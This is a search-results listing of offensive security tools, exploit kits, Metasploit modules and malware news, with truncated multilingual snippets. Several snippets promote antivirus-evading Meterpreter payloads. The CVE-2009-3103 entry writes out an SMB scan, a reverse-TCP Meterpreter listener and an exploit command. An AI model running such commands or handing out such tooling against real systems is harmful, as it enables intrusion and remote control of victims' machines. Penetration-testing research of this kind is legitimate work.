29 matches found
CVE-2017-8759
Kit de explotación CVE-2017-8759 - v1.0 El kit de explotación CVE-2017-8759 - v1.0 es un práctico script de Python que proporciona a los pentesters e investigadores de seguridad una forma rápida y efectiva de probar la ejecución remota de código RCE en Microsoft .NET Framework. Puede generar un...
kwetza
介绍 作者：Chris Le Roy @brompwnie [email protected] Kwetza 是一款允许你用 Meterpreter 载荷感染现有 Android 应用程序的工具。 它能做什么？ Kwetza 使用自定义或默认的载荷模板感染现有的 Android 应用程序，以规避防病毒软件的检测。Kwetza 允许你使用目标应用程序的默认权限感染 Android 应用程序，或注入额外权限以获得更多功能。 哪里可以找到博文？ Kwetza...
payloadgenerator
PGen PGen 是一个用 Bash 编写的工具，用于通过 MSFvenom（Metasploit 框架的一部分）生成最常用的 Meterpreter 载荷。 关于 PGen 是 MSFvenom 的一个封装，提供了更友好的用户体验来生成多种类型的载荷。我们的目标是将生成载荷的过程尽可能简化，而不是让用户手动查找特定载荷。我们旨在简化初学者的流程，使其在道德黑客或 PWK 中更容易上手，并定制载荷生成体验。PGen 会提示用户输入目标相关信息，并在后台调用 msfvenom 生成载荷。 用户需要提供的信息 1. 平台：windows, linux, osx, android,...
foolav
foolav Executable compiled with this code is useful during penetration tests where there is a need to execute some payload meterpreter maybe? while being certain that it will not be detected by antivirus software. The only requirement is to be able to upload two files: binary executable and paylo...
Shellcode-Injection-Techniques
Shellcode 注入技术 一系列 C Shellcode 注入技术。所有技术均使用 AES 加密的 meterpreter 有效载荷。 随着我学习、发现或开发更多技术，我将持续完善这个项目。 注意： 该项目不旨在直接使用。如果你打算使用任何技术，创建一个更小、定制的项目（仅包含所选技术）将更有可能绕过杀毒软件。 如果你确实使用了这些仓库中的任何代码，请确保合法使用！ Assembly Injection 如果你希望避免将 .Net 二进制文件写入磁盘，可以使用 PowerShell 程序集注入技术。 Shellcode 运行器 ShellcodeRunner.cs...
Monitor
Descripción del proyecto Se utiliza para mantener privilegios en la fase de post-explotación. Uso del proyecto Paso 1 : Descargue el proyecto y compile Monitor.cpp con Visual Studio; también puede usar el ya compilado. El código de Monitor.cpp es el siguiente: root@kitploit: include "Windows.h" i...
CVE-2017-0199
漏洞利用工具包 CVE-2017-0199 Exploit toolkit CVE-2017-0199 是一个方便的 python 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方法来测试 Microsoft Office RCE。 它可以生成恶意的 RTF/PPSX 文件，并将 metasploit / meterpreter / 其他 payload 交付给受害者，无需任何复杂配置。 此脚本已修改为支持 python 3。...
CVE-2009-3103
CVE-2009-3103 检查SMB漏洞 nmap --script smb-vuln -p139,445 IP-TARGET 设置监听器 sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run 运行漏洞利用 python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...
penetration-testing-windows10
Vulnerability Analysis and Penetration Testing Using Metasploi...
Exploit for CVE-2017-0144
EternalBlue-DoublePulsar-Exploit-Demonstration Cybersecurity l...
📄 sudo 1.9.17 chroot Privilege Escalation
This Metasploit module exploits CVE-2025-32463, a local privilege escalation vulnerability in Sudo's chroot functionality. The vulnerability allows attackers to load malicious NSS Name Service Switch modules from within a chroot environment, leading to arbitrary code execution as root...
📄 ChurchCRM 6.8.0 Unauthenticated Remote Code Execution
This Metasploit module exploits an unauthenticated remote code execution vulnerability in the installation process of ChurchCRM versions 6.8.0 and earlier. By sending a specially crafted POST request to the setup page, an attacker can execute arbitrary commands on the target server. This Metasplo...
Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit)
Exploit Title: Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution Date: 2023-03-31 Exploit Author: sf Vendor Homepage: https://www.zyxel.com/ Software Link: https://www.zyxel.com/ Version: ATP Firmware version 4.60 to 5.35 inclusive, USG FLEX Firmware version 4.60 to 5.35 inclusive, V...
Researchers Uncover Obfuscated Malicious Code in PyPI Python Packages
Four different rogue packages in the Python Package Index PyPI have been found to carry out a number of malicious actions, including dropping malware, deleting the netstat utility, and manipulating the SSH authorizedkeys file. The packages in question are aptx, bingchilling2, httops, and tkint3rs...
Blind Eagle Hackers Return with Refined Tools and Sophisticated Infection Chain
A financially motivated threat actor tracked as Blind Eagle has resurfaced with a refined toolset and an elaborate infection chain as part of its attacks targeting organizations in Colombia and Ecuador. Check Point's latest research offers new insights into the Spanish-speaking group's tactics an...
Safari Webkit For iOS 7.1.2 JIT Optimization Bug Exploit
This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit CVE-2016-4669 that obtains kernel rw, obtains root and disables code signing. Finally we...
Safari Webkit Proxy Object Type Confusion
This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Safari Webkit Proxy Object Type Confusion', 'Description' = %q This module exploits a type confusion bug in the Javascript Proxy object in WebKit...
TAU Threat Intelligence Notification: Java Embedded MSI Files
Summary Application whitelisting provides environments with access controls to stop unauthorized software from executing. This is accomplished by utilizing file and folder attributes including but not limited to file path, filename, digital signature, publisher, cryptographic hash and product nam...
Safari Webkit Proxy Object Type Confusion
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....